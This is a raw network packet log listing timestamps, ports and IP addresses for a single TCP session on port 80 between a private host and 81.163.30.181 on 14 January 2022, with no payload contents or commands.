Jan 14, 2022 21:05:49.362596035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362680912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362699032 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362705946 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362713099 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362728119 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362740993 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362768888 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362772942 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362790108 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362807035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362809896 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362818956 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362827063 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362845898 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362867117 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362876892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362895012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362905979 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362911940 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362930059 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362936974 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362947941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362963915 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362968922 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362982035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362998962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363014936 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363023043 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.363033056 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363042116 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.363045931 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363064051 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363074064 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.363080978 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363097906 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363115072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363116026 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.363132000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363147974 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363149881 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.363164902 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363173008 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.363183022 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363200903 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363208055 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.363219023 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363235950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363253117 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363254070 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.363271952 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363279104 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.363289118 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363306999 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363311052 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.363325119 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363342047 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.363343000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363362074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363378048 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363385916 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.363395929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363414049 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363420963 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.363430977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363447905 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363451004 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.363466024 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363483906 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363483906 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.363503933 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363517046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363537073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363544941 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.363554001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363567114 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.363574028 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363586903 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363603115 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363616943 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363632917 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.363636017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363653898 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363658905 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.363672018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363686085 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363698959 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.363712072 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.363732100 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.364084959 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.364103079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.364134073 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.365190029 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.365207911 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.365252972 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.368427992 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.369038105 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.377290964 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.378366947 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.378391027 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.378434896 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.396356106 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.421616077 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.421659946 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.421708107 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.421741962 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.421749115 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.421788931 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.421813011 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.421828032 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.421912909 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.421952963 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.421957016 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.421998978 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.422039032 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.422092915 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.422132015 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.422171116 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.422199965 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.422213078 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.422213078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.422219992 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.422255993 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.422298908 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.422301054 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.422341108 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.422382116 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.422410965 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.422424078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.422462940 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.422493935 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.422503948 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.422542095 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.422545910 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.422626019 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.422646999 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.422669888 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.422710896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.422750950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.422771931 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.422791958 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.422808886 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.422830105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.422871113 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.422888994 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.422910929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.422949076 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.422987938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.423006058 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.423027992 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.423042059 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.423069954 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.423110962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.423126936 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.423150063 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.423190117 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.423208952 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.423229933 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.423268080 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.423306942 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.423320055 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.423346043 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.423384905 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.423402071 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.423427105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.423439980 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.423465967 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.423506975 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.423522949 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.423547029 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.423584938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.423603058 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.423624992 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.423666000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.423706055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.423722982 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.423746109 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.423784971 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.423804045 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.423825979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.423847914 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.423873901 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.423912048 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.423928022 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.423955917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424000978 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424021959 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.424041986 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424091101 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424104929 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.424130917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424171925 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424212933 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424242020 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.424257040 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424273014 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.424297094 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424336910 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424352884 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.424376965 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424417019 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424431086 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.424454927 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424494028 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424532890 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.424540997 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424580097 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424597025 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.424619913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424660921 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424700022 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424720049 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.424740076 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424746990 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.424777985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424817085 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424854994 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.424854994 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424894094 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424906969 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.424932957 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424972057 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.424983978 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.425012112 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.425051928 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.425065994 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.425090075 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.425128937 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.425168037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.425180912 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.425205946 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.425244093 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.425275087 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.425282955 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.425303936 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.425324917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.425364971 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.425403118 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.425434113 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.425460100 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.425473928 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.425513983 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.425553083 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.425570011 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.425590992 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.425606966 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.425632000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.425673008 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.425685883 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.425709963 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.425749063 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.425787926 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.425801992 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.425828934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.425884008 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.425889969 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.425932884 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.425940990 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.425971031 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.426008940 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.426024914 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.426048994 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.426096916 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.427472115 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.427510977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.427551985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.427607059 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.428523064 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.436100006 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.436132908 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.436326027 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.451299906 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.484263897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.484325886 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.484366894 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.484404087 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.484443903 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.484447956 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.484483004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.484522104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.484554052 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.484560966 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.484600067 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.484600067 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.484648943 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.484697104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.484731913 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.484738111 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.484778881 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.484808922 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.484817982 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.484858036 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.484884024 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.484898090 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.484944105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.484985113 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.485024929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.485069990 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.485099077 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.485109091 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.485110044 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.485129118 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.485151052 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.485188961 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.485205889 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.485229969 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.485269070 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.485301018 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.485310078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.485351086 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.485380888 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.485390902 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.485425949 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.485430956 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.485472918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.485512018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.485529900 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.485551119 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.485589981 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.485622883 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.485630989 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.485673904 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.485677004 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.485713959 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.485743999 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.485754013 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.485795021 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.485831976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.485833883 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.485892057 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.485908985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.485951900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.485989094 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.486027956 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.486037016 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.486068010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.486085892 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.486107111 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.486146927 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.486186028 CET	80	49882	81.163.30.181	192.168.2.5
